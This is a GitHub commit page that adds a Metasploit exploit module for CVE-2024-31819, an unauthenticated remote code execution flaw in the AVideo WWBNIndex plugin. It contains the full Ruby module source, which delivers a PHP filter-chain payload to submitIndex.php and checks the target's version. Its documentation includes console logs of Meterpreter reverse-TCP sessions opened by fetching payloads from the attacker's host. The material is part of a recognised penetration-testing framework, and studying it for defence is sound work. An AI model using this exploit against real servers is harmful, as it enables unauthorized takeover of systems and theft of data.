Skip to content

Commit 10acd86

Browse files
committed
Land rapid7#19071, Add AVideo RCE module
Add module for CVE-2024-31819 which exploits an LFI in AVideo which uses PHP Filter Chaining to turn the LFI into unauthenticated RCE
2 parents 7a92eef + da31761 commit 10acd86

File tree

2 files changed

+259
-0
lines changed

2 files changed

+259
-0
lines changed
Lines changed: 139 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,139 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits an unauthenticated Remote Code Execution vulnerability in the AVideo platform,
4+
specifically within the WWBNIndex plugin.
5+
The vulnerability exists due to improper input validation in the `submitIndex.php` file, where the `systemRootPath` parameter
6+
is directly passed to a `require()` PHP function without proper sanitization.
7+
Attackers can exploit this by leveraging the PHP filter chaining technique
8+
to execute arbitrary PHP code on the server.
9+
The vulnerability is present in versions from 12.4 up to 14.2.
10+
11+
To set up a vulnerable environment for testing, follow the installation steps provided in the AVideo documentation for running with Docker:
12+
<https://github.com/WWBN/AVideo/wiki/Running-AVideo-with-Docker>.
13+
Ensure AVideo version installed is between 12.4 and 14.2 and the WWBIndex plugin is installed.
14+
This can be done by verifying `/var/www/html/AVideo/plugin/WWBNIndex` exists.
15+
16+
## Verification Steps
17+
18+
1. Start `msfconsole` in your Metasploit framework.
19+
2. Use the module: `use exploit/multi/http/avideo_wwbnindex_unauth_rce`.
20+
3. Set `RHOSTS` to the target's address where the AVideo platform is installed.
21+
4. Set `TARGETURI` to the base path of the AVideo installation if it is not at the root directory (default is `/`).
22+
5. Optionally, configure other options such as `SSL` and `RPORT` if the target environment requires it.
23+
6. Execute the exploit using the `run` or `exploit` command.
24+
7. If the target is vulnerable, the module will execute the specified payload, granting access according to the payload's capabilities.
25+
26+
## Options
27+
28+
No options
29+
30+
## Scenarios
31+
32+
### Successful Exploitation against AVideo Platform with WWBNIndex plugin version 12.9
33+
34+
**Setup**:
35+
36+
- Target: AVideo platform with WWBNIndex plugin version 12.9 installed in a Docker container.
37+
- Attacker: Metasploit Framework.
38+
39+
**Example**:
40+
41+
```
42+
msf6 > search avideo
43+
44+
Matching Modules
45+
================
46+
47+
# Name Disclosure Date Rank Check Description
48+
- ---- --------------- ---- ----- -----------
49+
0 exploit/multi/http/avideo_wwbnindex_unauth_rce 2024-04-04 excellent Yes AVideo WWBNIndex Plugin Unauthenticated RCE
50+
1 \_ target: Automatic . . . .
51+
2 \_ target: PHP In-Memory . . . .
52+
3 \_ target: Unix In-Memory . . . .
53+
4 \_ target: Windows In-Memory . . . .
54+
55+
56+
Interact with a module by name or index. For example info 4, use 4 or use exploit/multi/http/avideo_wwbnindex_unauth_rce
57+
After interacting with a module you can manually set a TARGET with set TARGET 'Windows In-Memory'
58+
59+
msf6 > use 3
60+
[*] Additionally setting TARGET => Unix In-Memory
61+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
62+
msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > options
63+
64+
Module options (exploit/multi/http/avideo_wwbnindex_unauth_rce):
65+
66+
Name Current Setting Required Description
67+
---- --------------- -------- -----------
68+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
69+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
70+
RPORT 443 yes The target port (TCP)
71+
SSL true no Negotiate SSL/TLS for outgoing connections
72+
VHOST no HTTP server virtual host
73+
74+
75+
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
76+
77+
Name Current Setting Required Description
78+
---- --------------- -------- -----------
79+
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
80+
FETCH_DELETE false yes Attempt to delete the binary after execution
81+
FETCH_FILENAME nhjkrZakk no Name to use on remote system when storing payload; cannot contain spaces or slashes
82+
FETCH_SRVHOST no Local IP to use for serving payload
83+
FETCH_SRVPORT 8080 yes Local port to use for serving payload
84+
FETCH_URIPATH no Local URI to use for serving payload
85+
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
86+
LHOST yes The listen address (an interface may be specified)
87+
LPORT 4444 yes The listen port
88+
89+
90+
Exploit target:
91+
92+
Id Name
93+
-- ----
94+
2 Unix In-Memory
95+
96+
97+
98+
View the full module info with the info, or info -d command.
99+
100+
msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > set rhosts 192.168.100.20
101+
rhosts => 192.168.100.20
102+
msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > set lhost eth0
103+
lhost => 192.168.100.10
104+
msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > set lport 1337
105+
lport => 1337
106+
msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > set fetch_srvport 5000
107+
fetch_srvport => 5000
108+
msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > exploit
109+
110+
[*] Started reverse TCP handler on 192.168.100.10:1337
111+
[*] Running automatic check ("set AutoCheck false" to disable)
112+
[+] The target is vulnerable. Detected vulnerable AVideo version: 12.9
113+
[*] Sending stage (3045380 bytes) to 192.168.100.20
114+
[*] Meterpreter session 1 opened (192.168.100.10:1337 -> 192.168.100.20:52936) at 2024-04-04 23:08:05 +0200
115+
116+
meterpreter > sysinfo
117+
Computer : 192.168.100.20
118+
OS : Ubuntu 20.04 (Linux 5.4.0-169-generic)
119+
Architecture : x64
120+
BuildTuple : x86_64-linux-musl
121+
Meterpreter : x64/linux
122+
meterpreter > exit
123+
[*] Shutting down session: 1
124+
125+
[*] 192.168.100.20 - Meterpreter session 1 closed. Reason: Died
126+
msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > use 2
127+
[*] Additionally setting TARGET => PHP In-Memory
128+
[*] Using configured payload php/meterpreter/reverse_tcp
129+
msf6 exploit(multi/http/avideo_wwbnindex_unauth_rce) > exploit
130+
131+
[*] Started reverse TCP handler on 192.168.100.10:1337
132+
[*] Running automatic check ("set AutoCheck false" to disable)
133+
[+] The target is vulnerable. Detected vulnerable AVideo version: 12.9
134+
[*] Sending stage (39927 bytes) to 192.168.100.20
135+
[*] Meterpreter session 2 opened (192.168.100.10:1337 -> 192.168.100.20:36258) at 2024-04-04 23:08:44 +0200
136+
137+
meterpreter > getuid
138+
Server username: www-data
139+
```
Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::Remote::HTTP::PhpFilterChain
11+
prepend Msf::Exploit::Remote::AutoCheck
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'AVideo WWBNIndex Plugin Unauthenticated RCE',
18+
'Description' => %q{
19+
This module exploits an unauthenticated remote code execution (RCE) vulnerability
20+
in the WWBNIndex plugin of the AVideo platform. The vulnerability exists within the
21+
`submitIndex.php` file, where user-supplied input is passed directly to the `require()`
22+
function without proper sanitization. By exploiting this, an attacker can leverage the
23+
PHP filter chaining technique to execute arbitrary PHP code on the server. This allows
24+
for the execution of commands and control over the affected system. The exploit is
25+
particularly dangerous because it does not require authentication, making it possible
26+
for any remote attacker to exploit this vulnerability.
27+
},
28+
'Author' => [
29+
'Valentin Lobstein'
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' => [
33+
['CVE', '2024-31819'],
34+
['URL', 'https://github.com/WWBN/AVideo'],
35+
['URL', 'https://chocapikk.com/posts/2024/cve-2024-31819']
36+
],
37+
'Platform' => ['php', 'unix', 'linux', 'win'],
38+
'Arch' => [ARCH_PHP, ARCH_CMD],
39+
'Targets' => [
40+
[
41+
'PHP In-Memory',
42+
{
43+
'Platform' => 'php',
44+
'Arch' => ARCH_PHP
45+
# tested with php/meterpreter/reverse_tcp
46+
}
47+
],
48+
[
49+
'Unix In-Memory',
50+
{
51+
'Platform' => ['unix', 'linux'],
52+
'Arch' => ARCH_CMD
53+
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
54+
}
55+
],
56+
[
57+
'Windows In-Memory',
58+
{
59+
'Platform' => 'win',
60+
'Arch' => ARCH_CMD
61+
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
62+
}
63+
],
64+
],
65+
'Privileged' => false,
66+
'DisclosureDate' => '2024-04-09',
67+
'Notes' => {
68+
'Stability' => [CRASH_SAFE],
69+
'Reliability' => [REPEATABLE_SESSION],
70+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
71+
},
72+
'DefaultOptions' => {
73+
'SSL' => true,
74+
'RPORT' => 443,
75+
'FETCH_WRITABLE_DIR' => '/tmp'
76+
}
77+
)
78+
)
79+
end
80+
81+
def exploit
82+
php_code = "<?php #{target['Arch'] == ARCH_PHP ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));"} ?>"
83+
filter_payload = generate_php_filter_payload(php_code)
84+
res = send_request_cgi(
85+
'method' => 'POST',
86+
'uri' => normalize_uri(target_uri.path, 'plugin', 'WWBNIndex', 'submitIndex.php'),
87+
'ctype' => 'application/x-www-form-urlencoded',
88+
'data' => "systemRootPath=#{filter_payload}"
89+
)
90+
print_error("Server returned #{res.code}. Successful exploit attempts should not return a response.") if res&.code
91+
end
92+
93+
def check
94+
res = send_request_cgi({
95+
'uri' => normalize_uri(target_uri.path, 'index.php'),
96+
'method' => 'GET',
97+
'follow_redirect' => true
98+
})
99+
return CheckCode::Unknown('Failed to connect to the target.') unless res
100+
return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200
101+
102+
version_match = res.body.match(/Powered by AVideo ® Platform v([\d.]+)/) || res.body.match(/<!--.*?v:([\d.]+).*?-->/m)
103+
return CheckCode::Unknown('Unable to extract AVideo version.') unless version_match && version_match[1]
104+
105+
version = Rex::Version.new(version_match[1])
106+
plugin_check = send_request_cgi({
107+
'uri' => normalize_uri(target_uri.path, 'plugin', 'WWBNIndex', 'submitIndex.php'),
108+
'method' => 'GET'
109+
})
110+
unless plugin_check&.code == 200
111+
CheckCode::Safe('Vulnerable plugin WWBNIndex was not detected')
112+
end
113+
114+
if version.between?(Rex::Version.new('12.4'), Rex::Version.new('14.2'))
115+
return CheckCode::Appears("Detected vulnerable AVideo version: #{version}, with vulnerable plugin WWBNIndex running.")
116+
end
117+
118+
CheckCode::Safe("Detected non-vulnerable AVideo version: #{version}")
119+
end
120+
end

0 commit comments

Comments
 (0)